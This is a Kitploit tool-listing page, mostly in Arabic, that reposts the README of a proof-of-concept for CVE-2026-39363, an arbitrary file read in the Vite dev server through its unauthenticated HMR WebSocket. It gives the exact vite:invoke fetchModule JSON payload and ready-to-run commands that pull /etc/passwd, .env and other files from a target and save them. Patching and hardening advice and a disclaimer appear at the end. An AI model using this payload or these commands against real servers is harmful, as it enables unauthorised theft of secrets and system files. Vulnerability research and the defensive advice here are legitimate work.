Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/sunynov/cve-2026-39363
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPenetration Testing
GitHubsunynov/cve-2026-39363

CVE-2026-39363

方便实用的CVE-2026-39363利用工具

عرض المستودع
منذ 17 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39363 — PoC لقراءة ملفات تعسفية من Vite Dev Server

PoC قابل للتشغيل مباشرة ضد GHSA-p9ff-h696-f583. عبر استدعاء fetchModule من خلال HMR WebSocket غير مُصادَق، يتم تجاوز قيود server.fs.allow على طبقة HTTP لقراءة أي ملف من الجهاز الذي يعمل عليه خادم التطوير (dev server).

نطاق التأثير

خط الإصدارالمتأثرتم الإصلاح
Vite 6>=6.0.0, <=6.4.16.4.2
Vite 7>=7.0.0, <=7.3.17.3.2
Vite 8>=8.0.0, <=8.0.48.0.5
vite-plus (فرع VoidZero)<=0.1.150.1.16

شروط الاستغلال:

  • خادم التطوير مكشوف على الشبكة (تهيئة --host / server.host)، و
  • HMR WebSocket غير معطّل (مفعّل افتراضيًا، ويمكن إيقافه عبر server.ws: false).

CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)، CWE-200 + CWE-306. وضعت CISA SSVC علامة exploitation=poc, automatable=yes.

المبدأ

  1. قراءة أي ملف عبر طبقة HTTP يتم اعتراضها بواسطة server.fs.allow (/@fs/<المسار المطلق> → 403).
  2. لكن مصافحة HMR WebSocket تتحقق فقط من:
    • ترويسة Sec-WebSocket-Protocol: vite-hmr، و
    • عند وجود ترويسة Origin فقط يُشترط معامل الاستعلام ?token= (CWE-306: العملاء غير المتصفحيين يمكنهم الاتصال مباشرة دون ترويسة Origin).
  3. بعد الاتصال، يُرسل حدث مخصص vite:invoke لاستدعاء طريقة fetchModule المسجلة على الخادم، مع تمرير file://<المسار المطلق>?raw. تمرر fetchModule مباشرة عبر مسار تحويل الوحدات (module transform)، متجاوزةً تمامًا فحص fs.allow، وتُعيد محتوى الملف كـ export default "..." (CWE-200).

بنية رسالة طلب vite:invoke (متطابقة في v6/v7/v8):

root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "name": "fetchModule",
    "id": "1send",
    "data": ["file:///etc/passwd?raw"]
  }
}

يردّ الخادم بتغيير id إلى 1response، ويكون data.data.result.code هو محتوى الملف.

الاستخدام

لا يتطلب سوى المكتبة القياسية لـ Python 3، دون أي تبعيات خارجية:

root@kitploit:~
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd

# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini

# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/

# HTTPS dev server
python exp.py https://target:5173 /etc/passwd

# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173

المعاملات:

سجل التحقق

تم اختبار PoC لهذا المستودع بنجاح في البيئات التالية (قراءة secret.txt خارج جذر خادم التطوير، بينما يُرجع مسار HTTP @fs لنفس الملف 403):

  • Vite 8.0.4 (vite --host 0.0.0.0، Windows)
  • Vite 6.4.1 (كما سبق)
  • Vite 7.3.1 — تم تأكيد تطابق بنية الرسالة مع v6/v8 عبر مقارنة الكود المصدري

خطوات إعادة الإنتاج (نفس مسار PoC):

root@kitploit:~
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173

# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw'   # -> 403

# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>

الاكتشاف والتحصين

  • الترقية إلى 6.4.2 / 7.3.2 / 8.0.5.
  • لا تربط خادم التطوير أبدًا بعنوان شبكة عام (يستمع إلى localhost فقط افتراضيًا).
  • في بيئة الإنتاج، استخدم vite build مع استضافة ثابتة، ولا تشغّل vite dev.
  • عند تعذّر الترقية: عطّل HMR عبر server.ws: false، أو أضف وكيلًا عكسيًا يسمح بالوصول إلى منفذ خادم التطوير محليًا فقط.

إخلاء المسؤولية

يُستخدم فقط في اختبار الاختراق المصرح به، وإعادة إنتاج الثغرات، والبحث الدفاعي. يتحمّل المستخدم مسؤولية أي عواقب ناتجة عن استخدام هذه الأداة ضد أنظمة الآخرين دون إذن.

تنزيل الأداة
المعاملالوصف
urlالهدف، مثل http://192.168.1.10:5173
filesالمسارات المطلقة المطلوب قراءتها، بنمط POSIX أو Windows
--host-headerتزوير ترويسة Host (افتراضيًا يُؤخذ من host الخاص بالهدف). افتراضيًا يُسمح فقط بعناوين IP وlocalhost؛ النطاقات المخصصة تتطلب تهيئة صريحة
--ws-pathمسار HMR WebSocket، الافتراضي / (يجب تغييره إذا كان الهدف مهيأً بـ server.hmr.path)
--timeoutمهلة الطلب الواحد بالثواني، الافتراضي 10
-o/--output-dirحفظ المحتوى المقروء في دليل